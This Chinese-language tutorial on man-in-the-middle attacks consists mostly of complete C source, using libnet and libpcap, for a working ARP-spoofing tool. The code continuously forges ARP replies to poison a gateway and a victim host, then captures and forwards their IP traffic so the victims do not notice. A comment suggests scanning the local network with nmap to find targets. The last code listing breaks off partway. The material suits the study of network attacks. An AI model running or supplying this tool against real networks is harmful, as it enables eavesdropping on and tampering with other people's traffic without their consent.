中间人攻击的原理与实现

 

  看风云无忌一时有些迟疑。

  那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”

——飞升之后 · 荧惑 风云无忌

 

 

  ·这是本文版本v1.1全部代码,添加了更充分的错误显示信息和使用方法:

  1 #include<unistd.h>
  2 #include<pcap.h>
  3 #include<time.h>
  4 #include<stdio.h>
  5 #include<stdint.h>
  6 #include<stdio.h>
  7 #include<stdlib.h>
  8 #include<string.h>
  9 #include<unistd.h>
 10 #include<libnet.h>
 11  
 12 #define MAC_ADDR_LEN 6
 13 #define IP_ADDR_LEN 4
 14 
 15 struct ethernet_ip_hdr
 16 {
 17     uint8_t  ether_dhost[6];/* destination ethernet address */
 18     uint8_t  ether_shost[6];/* source ethernet address */
 19     uint16_t ether_type;    /* protocol */
 20     uint8_t  ip_ver_hdrlen; 
 21     uint8_t  ip_tos;  
 22     uint16_t ip_total_len;         /* total length */
 23     uint16_t ip_id;          /* identification */
 24     uint16_t ip_frag;
 25     uint8_t  ip_ttl;          /* time to live */
 26     uint8_t  ip_proto;            /* protocol */
 27     uint16_t ip_hdrCRC;         /* checksum */
 28     uint8_t  ip_src[4];
 29     uint8_t  ip_dst[4];
 30 };
 31 
 32 struct MITM_para
 33 {
 34     const uint8_t * ip_A;
 35     const uint8_t * mac_A;
 36     const uint8_t * ip_B;
 37     const uint8_t * mac_B;
 38     const uint8_t * mac_M;
 39     const char * BPF_filterStr;
 40     const char * devMitm;
 41 };
 42 
 43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
 44                            const unsigned  char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
 45                          )
 46  {
 47          static char padPtr[18];
 48          libnet_t *net_t = NULL; 
 49          char err_buf[LIBNET_ERRBUF_SIZE];
 50          libnet_ptag_t p_tag; 
 51          unsigned int i=0;
 52  
 53          //printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
 54          //printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
 55          
 56          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 57          if(net_t == NULL)
 58          {
 59                  printf("libnet_init error\n");
 60                  return 2;
 61          }
 62  
 63          p_tag = libnet_build_arp(
 64                          ARPHRD_ETHER,//hardware type ethernet
 65                          ETHERTYPE_IP,//protocol type
 66                          MAC_ADDR_LEN,//mac length
 67                          IP_ADDR_LEN,//protocol length
 68                          arpOp,//op type
 69                          (u_int8_t *)src_mac,//source mac addr
 70                          (u_int8_t *)src_ip,//source ip addr
 71                          (u_int8_t *)dst_mac,//dest mac addr
 72                          (u_int8_t *)dst_ip,//dest ip  addr
 73                          padPtr,//payload
 74                          18,//payload length
 75                          net_t,//libnet context
 76                          0//0 stands to build a new one
 77          );
 78          
 79          if(-1 == p_tag)
 80          {
 81                  printf("libnet_build_arp error:\n");
 82                  printf("ForgeAndSendArp: %s",net_t->err_buf);
 83                  libnet_destroy(net_t);
 84                  return 3;
 85          }
 86  
 87          p_tag = libnet_build_ethernet(//create ethernet header
 88                          (u_int8_t *)dst_mac,//dest mac addr
 89                          (u_int8_t *)src_mac,//source mac addr
 90                          ETHERTYPE_ARP,//protocol type
 91                         padPtr,//payload
 92                         0,//payload length
 93                          net_t,//libnet context
 94                          0//0 to build a new one
 95          );
 96  
 97          if(-1 == p_tag)
 98          {
 99                  printf("libnet_build_ethernet error!\n");
100                  printf("ForgeAndSendArp: %s",net_t->err_buf);
101                  libnet_destroy(net_t);
102                  return 4;
103          }
104          
105          int res;
106          i=0;
107          for(;i<sendTimes;i++)
108            if(-1 == (res = libnet_write(net_t)))
109            {
110                  printf("A libnet_write error!\n");
111                  printf("ForgeAndSendArp: %s",net_t->err_buf);
112                  libnet_destroy(net_t);
113                  return 5;
114            }
115          
116          libnet_destroy(net_t);
117          return 0;
118  FAIL:        
119          libnet_destroy(net_t);
120                  return 6;
121  }
122 
123 void ArpSpoof(
124           const uint8_t * ip_A, const uint8_t * mac_A,
125       const uint8_t * ip_B, const uint8_t * mac_B,
126       const uint8_t * mac_M,
127           const char * devMitm
128          )
129 {
130   //
131   /*
132     arp-reply: M->A B is at M
133     arp-reply: M->B A is at M
134   */ 
135   while(1)
136   {  
137   usleep(500000);
138   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
139       
140   usleep(500000);
141   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
142   }
143 }
144 
145 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
146                    const unsigned char * dst_mac,const unsigned char * src_mac,
147                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
148                                )
149 {
150          libnet_t *net_t = NULL; 
151          char err_buf[LIBNET_ERRBUF_SIZE];
152          libnet_ptag_t p_tag; 
153          unsigned int i=0;
154          
155      //init the libnet context structure
156          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
157          if(net_t == NULL)
158          {
159                  printf("libnet_init error\n");
160                  return 1;
161          }
162       
163       //build the ethernet packet
164          p_tag = libnet_build_ethernet(//create ethernet header
165                          dst_mac,//dest mac addr
166                          src_mac,//source mac addr
167                          protoType,//protocol type
168                          padPtr,//payload
169                          padLength,//payload length
170                          net_t,//libnet context
171                          0//0 to build a new one
172          );
173          if(-1 == p_tag)
174          {
175                  printf("libnet_build_ethernet error!\n");
176                  printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);
177                  goto FAIL;
178          }
179          
180          for(i=0;i<sendTimes;i++)
181            if(-1 == libnet_write(net_t))
182            {
183                  printf("B libnet_write error!\n");
184                  printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);
185                  goto FAIL;
186            }
187          
188          libnet_destroy(net_t);
189          return 0;
190      FAIL:        
191          libnet_destroy(net_t);
192          return 1;
193 }
194 
195 
196 
197 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
198 {
199   int i;
200   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
201   unsigned int    sendTimes=1;
202   const uint16_t  etherProto=0x0800;
203   const char    * dev=mitmParaPtr->devMitm;
204   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  
205   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
206   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    
207   const uint8_t * A_IP=mitmParaPtr->ip_A;
208   const uint8_t * B_IP=mitmParaPtr->ip_B;
209   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  
210 
211   if (
212        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 
213        //&& 
214        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
215      )
216   { // packet: A send to B
217      printf(" :) ether src A && ip dst B\n");
218      BuildAndSendEthernetPacket(dev,sendTimes,
219                 ether_Bhost,ether_Mhost,
220                 //dst_mac,  src_mac,
221                                 etherProto,packet+14,pkthdr->len-14
222                                );
223   } 
224   else if (
225        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 
226        //&& 
227        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
228      )
229   { // packet: B send to A
230      printf("ether src B && ip dst A\n");
231      BuildAndSendEthernetPacket(dev,sendTimes,
232                 ether_Ahost,ether_Mhost,
233                 //dst_mac,  src_mac,
234                 etherProto,packet+14,pkthdr->len-14
235                                );
236   }  
237 }
238 
239 
240 int mitm_forwarder(
241        const uint8_t * ip_A, const uint8_t * mac_A,
242       const uint8_t * ip_B, const uint8_t * mac_B,
243       const uint8_t * mac_M,const char * BPF_filterStr,
244           const char * devMitm
245         )
246 //BPF_filterStr: ether dst mac_M  and ip  
247 {
248   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
249   struct bpf_program filter;
250 
251   struct MITM_para mitmPara;
252 
253   mitmPara.ip_A=ip_A;
254   mitmPara.mac_A=mac_A;
255 
256   mitmPara.ip_B=ip_B;
257   mitmPara.mac_B=mac_B;
258 
259   mitmPara.mac_M=mac_M;
260 
261   mitmPara.BPF_filterStr=BPF_filterStr;
262   mitmPara.devMitm=devMitm;  
263 
264   /* get a device */
265   devStr = pcap_lookupdev(errBuf);
266   
267   if(devStr)
268   {
269     printf("success: device: %s\n", devStr);
270   }
271   else
272   {
273     printf("error: %s\n", errBuf);
274     exit(1);
275   }
276   
277   /* open a device, wait until a packet arrives */
278   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
279   
280   if(!device)
281   {
282     printf("error: pcap_open_live(): %s\n", errBuf);
283     exit(1);
284   }
285   // ether dst 00:11:22:33:44:55  and ip
286   pcap_compile( device,&filter,BPF_filterStr,1,0 );  
287   pcap_setfilter(device ,&filter );
288   /* wait loop forever */
289   pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);
290   
291   pcap_close(device);
292 
293   return 0;  
294 }
295 
296 
297 /*
298         gw            kali
299    192.168.1.1            192.168.1.108
300 14:E6:E4:94:B4:D6       00:7B:05:03:8E:90
301         A                        B
302 
303              00:11:22:33:44:55
304                     M
305 被攻击者:
306   ip_A mac_A 
307   ip_B mac_B
308 中间人:
309  mac_B
310 中间人所选用的网络设备:
311  devMitm : 如 "eth0"
312 中间人所用BPF过滤规则:
313  BPF_filterStr : 格式是 "ether  dst 00:11:22:33:44:55 and ip "
314  其中 00:11:22:33:44:55 是中间人eth0的mac,只需要按情况替换之即可
315  建议使用形如 " nmap -sP 192.168.0.0/24 " 的命令扫描您所在的局域网,以搜集必要的信息。
316  实验时,A可选用网关,B为局域网内一普通victim主机,M为您的主机,这样会更加清晰。
317 
318 */
319 
320 void main()
321 
322 {
323     uint8_t ip_A[4]={172,16,0,1};
324     uint8_t mac_A[6]={0x00,0x17,0x31,0x58,0xac,0x85};
325     
326     uint8_t ip_B[4]={172,16,31,99};
327     uint8_t mac_B[6]={0x00,0x11,0x22,0x33,0x44,0x56};
328     
329     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
330     
331     //BPF_filterStr: ether dst mac_M  and ip
332     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
333     char * devMitm="eth0";
334 
335   //local
336   pid_t sonPid;
337   
338   sonPid=fork();
339   if( sonPid==-1 )
340   {//failure
341     printf("failure:mitm fork error :( \n");
342   }
343   else if(sonPid==0)
344   {//child
345     printf("child : pid:%d:)\n",getpid());
346     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
347   }
348   else
349   {//parent
350     printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
351     sleep(2);
352     mitm_forwarder(
353        ip_A,mac_A,
354       ip_B,mac_B,
355       mac_M,BPF_filterStr,
356           devMitm
357         );
358   }
359 }
View Code

 

 

 

  下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议,如需要,请看文章《ARP数据包伪造》)

中间人攻击的原理与实现_第1张图片

  上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:


中间人攻击的原理与实现_第2张图片

中间人攻击的原理与实现_第3张图片 

(备注:右键另存为 大图较清晰)

实现"中间人"的情景,有两个关键点:

    · ARP欺骗:目的是将通信双方的数据包流经中间人。

    · 数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。

  第一步:ArpSpoof

中间人攻击的原理与实现_第4张图片

(备注:右键另存为 大图较清晰) 

  ArpSpoof模块的源码如下:

  1  #include <stdio.h>
  2  #include <stdlib.h>
  3  #include <string.h>
  4  #include <unistd.h>
  5  #include <libnet.h>
  6  #include <unistd.h>
  7  #define MAC_ADDR_LEN 6
  8  #define IP_ADDR_LEN 4
  9  int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
 10                      unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
 11                          )
 12  {
 13          static char padPtr[18];
 14          libnet_t *net_t = NULL; 
 15          char err_buf[LIBNET_ERRBUF_SIZE];
 16          libnet_ptag_t p_tag; 
 17          unsigned int i=0;
 18  
 19          printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
 20          printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
 21          
 22          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 23          if(net_t == NULL)
 24          {
 25                  printf("libnet_init error\n");
 26                  return 2;
 27          }
 28  
 29          p_tag = libnet_build_arp(
 30                          ARPHRD_ETHER,//hardware type ethernet
 31                          ETHERTYPE_IP,//protocol type
 32                          MAC_ADDR_LEN,//mac length
 33                          IP_ADDR_LEN,//protocol length
 34                          arpOp,//op type
 35                          (u_int8_t *)src_mac,//source mac addr
 36                          (u_int8_t *)src_ip,//source ip addr
 37                          (u_int8_t *)dst_mac,//dest mac addr
 38                          (u_int8_t *)dst_ip,//dest ip  addr
 39                          padPtr,//payload
 40                          18,//payload length
 41                          net_t,//libnet context
 42                          0//0 stands to build a new one
 43          );
 44          
 45          if(-1 == p_tag)
 46          {
 47                  printf("libnet_build_arp error\n");
 48                  libnet_destroy(net_t);
 49                  return 3;
 50          }
 51  
 52          p_tag = libnet_build_ethernet(//create ethernet header
 53                          (u_int8_t *)dst_mac,//dest mac addr
 54                          (u_int8_t *)src_mac,//source mac addr
 55                          ETHERTYPE_ARP,//protocol type
 56                         padPtr,//payload
 57                         0,//payload length
 58                          net_t,//libnet context
 59                          0//0 to build a new one
 60          );
 61  
 62          if(-1 == p_tag)
 63          {
 64                  printf("libnet_build_ethernet error!\n");
 65                  libnet_destroy(net_t);
 66                  return 4;
 67          }
 68          
 69          int res;
 70          i=0;
 71          for(;i<sendTimes;i++)
 72            if(-1 == (res = libnet_write(net_t)))
 73            {
 74                  printf("libnet_write error!\n");
 75                  libnet_destroy(net_t);
 76                  return 5;
 77            }
 78          
 79          libnet_destroy(net_t);
 80          return 0;
 81  FAIL:        
 82          libnet_destroy(net_t);
 83                  return 6;
 84  }
 85 
 86 /*
 87 
 88  int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
 89                      unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
 90                          )
 91 */
 92 
 93 void ArpSpoof(
 94           const uint8_t * ip_A, const uint8_t * mac_A,
 95       const uint8_t * ip_B, const uint8_t * mac_B,
 96       const uint8_t * mac_M,
 97           const char * devMitm
 98          )
 99 {
100   //
101   /*
102     arp-reply: M->A B is at M
103     arp-reply: M->B A is at M
104   */ 
105   while(1)
106   {  
107   usleep(500000);
108   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
109       
110   usleep(500000);
111   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
112   }
113   /*
114   char * dev=devMitm;
115   unsigned char src_mac[6] ={ 0x11,0x11,0x11,0x11,0x11,0x11 };
116   unsigned char dst_mac[6] ={ 0x12,0x11,0x11,0x11,0x11,0x11 };
117   unsigned char src_ip[4]={11,22,11,11};
118   unsigned char dst_ip[4]={11,23,11,11};
119   printf(":)\n");
120   printf("%s\n",src_ip_str);
121   while(1)
122     ForgeAndSendArp(dev,src_mac,dst_mac,src_ip,dst_ip,1,3
123                      );
124   */
125 }
126 /*
127         gw            kali
128    192.168.1.1            192.168.1.132
129 14:E6:E4:94:B4:D6       00:0C:29:A4:AC:26
130         A                        B
131 
132              00:11:22:33:44:55
133                     M
134 
135 */
136 void main()
137 {
138 
139   uint8_t ip_A[4]={192,168,1,1};
140   uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
141 
142   uint8_t ip_B[4]={192,168,1,108};
143   uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
144 
145   uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
146 
147   char * devMitm="eth0";
148   while(1)
149   ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
150 
151 }
152 
153 /*
154 void ArpSpoof(
155           const uint8_t * ip_A, const uint8_t * mac_A,
156       const uint8_t * ip_B, const uint8_t * mac_B,
157       const uint8_t * mac_M,
158           const char * devMitm
159          )
160 */
View Code

 

  第二步:数据包分析、转发

  这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:

中间人攻击的原理与实现_第5张图片

中间人攻击的原理与实现_第6张图片  mitm-forwarder模块的源码如下:

  1 #include <pcap.h>
  2 #include <time.h>
  3 #include <stdlib.h>
  4 #include <stdio.h>
  5 #include <string.h>
  6 #include <stdint.h>
  7 #include <stdio.h>
  8 #include <stdlib.h>
  9 #include <string.h>
 10 #include <unistd.h>
 11 #include <libnet.h>
 12 
 13 #define MAC_ADDR_LEN 6
 14 #define IP_ADDR_LEN 4
 15 
 16 struct ethernet_ip_hdr
 17 {
 18     uint8_t  ether_dhost[6];/* destination ethernet address */
 19     uint8_t  ether_shost[6];/* source ethernet address */
 20     uint16_t ether_type;    /* protocol */
 21     uint8_t  ip_ver_hdrlen; 
 22     uint8_t  ip_tos;  
 23     uint16_t ip_total_len;         /* total length */
 24     uint16_t ip_id;          /* identification */
 25     uint16_t ip_frag;
 26     uint8_t  ip_ttl;          /* time to live */
 27     uint8_t  ip_proto;            /* protocol */
 28     uint16_t ip_hdrCRC;         /* checksum */
 29     uint8_t  ip_src[4];
 30     uint8_t  ip_dst[4];
 31 };
 32 
 33 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
 34                    const unsigned char * dst_mac,const unsigned char * src_mac,
 35                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
 36                                )
 37 {
 38          libnet_t *net_t = NULL; 
 39          char err_buf[LIBNET_ERRBUF_SIZE];
 40          libnet_ptag_t p_tag; 
 41          unsigned int i=0;
 42          
 43      //init the libnet context structure
 44          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 45          if(net_t == NULL)
 46          {
 47                  printf("libnet_init error\n");
 48                  return 1;
 49          }
 50       
 51       //build the ethernet packet
 52          p_tag = libnet_build_ethernet(//create ethernet header
 53                          dst_mac,//dest mac addr
 54                          src_mac,//source mac addr
 55                          protoType,//protocol type
 56                          padPtr,//payload
 57                          padLength,//payload length
 58                          net_t,//libnet context
 59                          0//0 to build a new one
 60          );
 61          if(-1 == p_tag)
 62          {
 63                  printf("libnet_build_ethernet error!\n");
 64                  goto FAIL;
 65          }
 66          
 67          for(i=0;i<sendTimes;i++)
 68            if(-1 == libnet_write(net_t))
 69            {
 70                  printf("libnet_write error!\n");
 71                  goto FAIL;
 72            }
 73          
 74          libnet_destroy(net_t);
 75          return 0;
 76      FAIL:        
 77          libnet_destroy(net_t);
 78          return 1;
 79 }
 80 
 81 
 82 struct MITM_para
 83 {
 84     const uint8_t * ip_A;
 85     const uint8_t * mac_A;
 86     const uint8_t * ip_B;
 87     const uint8_t * mac_B;
 88     const uint8_t * mac_M;
 89     const char * BPF_filterStr;
 90     const char * devMitm;
 91 };
 92 
 93 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
 94 {
 95   int i;
 96   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
 97   unsigned int    sendTimes=1;
 98   const uint16_t  etherProto=0x0800;
 99   const char    * dev=mitmParaPtr->devMitm;
100   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  
101   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
102   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    
103   const uint8_t * A_IP=mitmParaPtr->ip_A;
104   const uint8_t * B_IP=mitmParaPtr->ip_B;
105   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  
106 
107   if (
108        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 
109        //&& 
110        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
111      )
112   { // packet: A send to B
113      printf(" :) ether src A && ip dst B\n");
114      BuildAndSendEthernetPacket(dev,sendTimes,
115                 ether_Bhost,ether_Mhost,
116                 //dst_mac,  src_mac,
117                                 etherProto,packet+14,pkthdr->len-14
118                                );
119   } 
120   else if (
121        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 
122        //&& 
123        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
124      )
125   { // packet: B send to A
126      printf("ether src B && ip dst A\n");
127      BuildAndSendEthernetPacket(dev,sendTimes,
128                 ether_Ahost,ether_Mhost,
129                 //dst_mac,  src_mac,
130                                 etherProto,packet+14,pkthdr->len-14
131                                );
132   }  
133 
134 }
135 
136 
137 int mitm_forwarder(
138        const uint8_t * ip_A, const uint8_t * mac_A,
139       const uint8_t * ip_B, const uint8_t * mac_B,
140       const uint8_t * mac_M,const char * BPF_filterStr,
141           const char * devMitm
142         )
143 //BPF_filterStr: ether dst mac_M  and ip  
144 {
145   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
146   struct bpf_program filter;
147 
148   struct MITM_para mitmPara;
149 
150   mitmPara.ip_A=ip_A;
151   mitmPara.mac_A=mac_A;
152 
153   mitmPara.ip_B=ip_B;
154   mitmPara.mac_B=mac_B;
155 
156   mitmPara.mac_M=mac_M;
157 
158   mitmPara.BPF_filterStr=BPF_filterStr;
159   mitmPara.devMitm=devMitm;  
160 
161   /* get a device */
162   devStr = pcap_lookupdev(errBuf);
163   
164   if(devStr)
165   {
166     printf("success: device: %s\n", devStr);
167   }
168   else
169   {
170     printf("error: %s\n", errBuf);
171     exit(1);
172   }
173   
174   /* open a device, wait until a packet arrives */
175   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
176   
177   if(!device)
178   {
179     printf("error: pcap_open_live(): %s\n", errBuf);
180     exit(1);
181   }
182   // ether dst 00:11:22:33:44:55  and ip
183   pcap_compile( device,&filter,BPF_filterStr,1,0 );  
184   pcap_setfilter(device ,&filter );
185   /* wait loop forever */
186   pcap_loop(device, -1, getPacket,( u_char * ) &mitmPara);
187   
188   pcap_close(device);
189 
190   return 0;  
191 }
192 /*
193 
194 int mitm_forwarder(
195        uint8_t * ip_A,uint8_t * mac_A,
196       uint8_t * ip_B,uint8_t * mac_B,
197       uint8_t * mac_M,char * BPF_filterStr,
198           char * devMitm
199         )
200 
201 */
202 void main()
203 {
204 
205   uint8_t ip_A[4]={192,168,1,1};
206   uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
207 
208   uint8_t ip_B[4]={192,168,1,108};
209   uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
210 
211   uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
212 
213   //BPF_filterStr: ether dst mac_M  and ip
214   char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
215   char * devMitm="eth0";
216     
217   mitm_forwarder(
218        ip_A,mac_A,
219       ip_B,mac_B,
220       mac_M,BPF_filterStr,
221           devMitm
222         );
223 
224 }
View Code

 第三步:

   借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:

 1 void main()
 2 
 3 {
 4     uint8_t ip_A[4]={192,168,1,1};
 5     uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};    
 6     uint8_t ip_B[4]={192,168,1,108};
 7     uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
 8     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
 9     //BPF_filterStr: ether dst mac_M  and ip
10     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
11     char * devMitm="eth0";
12     
13   //local
14   pid_t sonPid;
15   sonPid=fork();
16   if( sonPid==-1 )
17   {//failure
18     printf("failure:mitm fork error :( \n");
19   }
20   else if(sonPid==0)
21   {//child
22     printf("child : pid:%d:)\n",getpid());
23     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
24   }
25   else
26   {//parent
27     printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
28     sleep(2);
29     mitm_forwarder(
30        ip_A,mac_A,
31       ip_B,mac_B,
32       mac_M,BPF_filterStr,
33       devMitm
34         );
35   }
36 }

  如此,最终代码如下:

  1 #include<unistd.h>
  2 #include<pcap.h>
  3 #include<time.h>
  4 #include<stdio.h>
  5 #include<stdint.h>
  6 #include<stdio.h>
  7 #include<stdlib.h>
  8 #include<string.h>
  9 #include<unistd.h>
 10 #include<libnet.h>
 11  
 12 #define MAC_ADDR_LEN 6
 13 #define IP_ADDR_LEN 4
 14 
 15 struct ethernet_ip_hdr
 16 {
 17     uint8_t  ether_dhost[6];/* destination ethernet address */
 18     uint8_t  ether_shost[6];/* source ethernet address */
 19     uint16_t ether_type;    /* protocol */
 20     uint8_t  ip_ver_hdrlen; 
 21     uint8_t  ip_tos;  
 22     uint16_t ip_total_len;         /* total length */
 23     uint16_t ip_id;          /* identification */
 24     uint16_t ip_frag;
 25     uint8_t  ip_ttl;          /* time to live */
 26     uint8_t  ip_proto;            /* protocol */
 27     uint16_t ip_hdrCRC;         /* checksum */
 28     uint8_t  ip_src[4];
 29     uint8_t  ip_dst[4];
 30 };
 31 
 32 struct MITM_para
 33 {
 34     const uint8_t * ip_A;
 35     const uint8_t * mac_A;
 36     const uint8_t * ip_B;
 37     const uint8_t * mac_B;
 38     const uint8_t * mac_M;
 39     const char * BPF_filterStr;
 40     const char * devMitm;
 41 };
 42 
 43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
 44                            const unsigned  char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
 45                          )
 46  {
 47          static char padPtr[18];
 48          libnet_t *net_t = NULL; 
 49          char err_buf[LIBNET_ERRBUF_SIZE];
 50          libnet_ptag_t p_tag; 
 51          unsigned int i=0;
 52  
 53          //printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
 54          //printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
 55          
 56          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 57          if(net_t == NULL)
 58          {
 59                  printf("libnet_init error\n");
 60                  return 2;
 61          }
 62  
 63          p_tag = libnet_build_arp(
 64                          ARPHRD_ETHER,//hardware type ethernet
 65                          ETHERTYPE_IP,//protocol type
 66                          MAC_ADDR_LEN,//mac length
 67                          IP_ADDR_LEN,//protocol length
 68                          arpOp,//op type
 69                          (u_int8_t *)src_mac,//source mac addr
 70                          (u_int8_t *)src_ip,//source ip addr
 71                          (u_int8_t *)dst_mac,//dest mac addr
 72                          (u_int8_t *)dst_ip,//dest ip  addr
 73                          padPtr,//payload
 74                          18,//payload length
 75                          net_t,//libnet context
 76                          0//0 stands to build a new one
 77          );
 78          
 79          if(-1 == p_tag)
 80          {
 81                  printf("libnet_build_arp error\n");
 82                  libnet_destroy(net_t);
 83                  return 3;
 84          }
 85  
 86          p_tag = libnet_build_ethernet(//create ethernet header
 87                          (u_int8_t *)dst_mac,//dest mac addr
 88                          (u_int8_t *)src_mac,//source mac addr
 89                          ETHERTYPE_ARP,//protocol type
 90                         padPtr,//payload
 91                         0,//payload length
 92                          net_t,//libnet context
 93                          0//0 to build a new one
 94          );
 95  
 96          if(-1 == p_tag)
 97          {
 98                  printf("libnet_build_ethernet error!\n");
 99                  libnet_destroy(net_t);
100                  return 4;
101          }
102          
103          int res;
104          i=0;
105          for(;i<sendTimes;i++)
106            if(-1 == (res = libnet_write(net_t)))
107            {
108                  printf("A libnet_write error!\n");
109                  libnet_destroy(net_t);
110                  return 5;
111            }
112          
113          libnet_destroy(net_t);
114          return 0;
115  FAIL:        
116          libnet_destroy(net_t);
117                  return 6;
118  }
119 
120 void ArpSpoof(
121           const uint8_t * ip_A, const uint8_t * mac_A,
122       const uint8_t * ip_B, const uint8_t * mac_B,
123       const uint8_t * mac_M,
124           const char * devMitm
125          )
126 {
127   //
128   /*
129     arp-reply: M->A B is at M
130     arp-reply: M->B A is at M
131   */ 
132   while(1)
133   {  
134   usleep(500000);
135   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
136       
137   usleep(500000);
138   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
139   }
140 }
141 
142 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
143                    const unsigned char * dst_mac,const unsigned char * src_mac,
144                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
145                                )
146 {
147          libnet_t *net_t = NULL; 
148          char err_buf[LIBNET_ERRBUF_SIZE];
149          libnet_ptag_t p_tag; 
150          unsigned int i=0;
151          
152      //init the libnet context structure
153          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
154          if(net_t == NULL)
155          {
156                  printf("libnet_init error\n");
157                  return 1;
158          }
159       
160       //build the ethernet packet
161          p_tag = libnet_build_ethernet(//create ethernet header
162                          dst_mac,//dest mac addr
163                          src_mac,//source mac addr
164                          protoType,//protocol type
165                          padPtr,//payload
166                          padLength,//payload length
167                          net_t,//libnet context
168                          0//0 to build a new one
169          );
170          if(-1 == p_tag)
171          {
172                  printf("libnet_build_ethernet error!\n");
173                  goto FAIL;
174          }
175          
176          for(i=0;i<sendTimes;i++)
177            if(-1 == libnet_write(net_t))
178            {
179                  printf("B libnet_write error!\n");
180                  goto FAIL;
181            }
182          
183          libnet_destroy(net_t);
184          return 0;
185      FAIL:        
186          libnet_destroy(net_t);
187          return 1;
188 }
189 
190 
191 
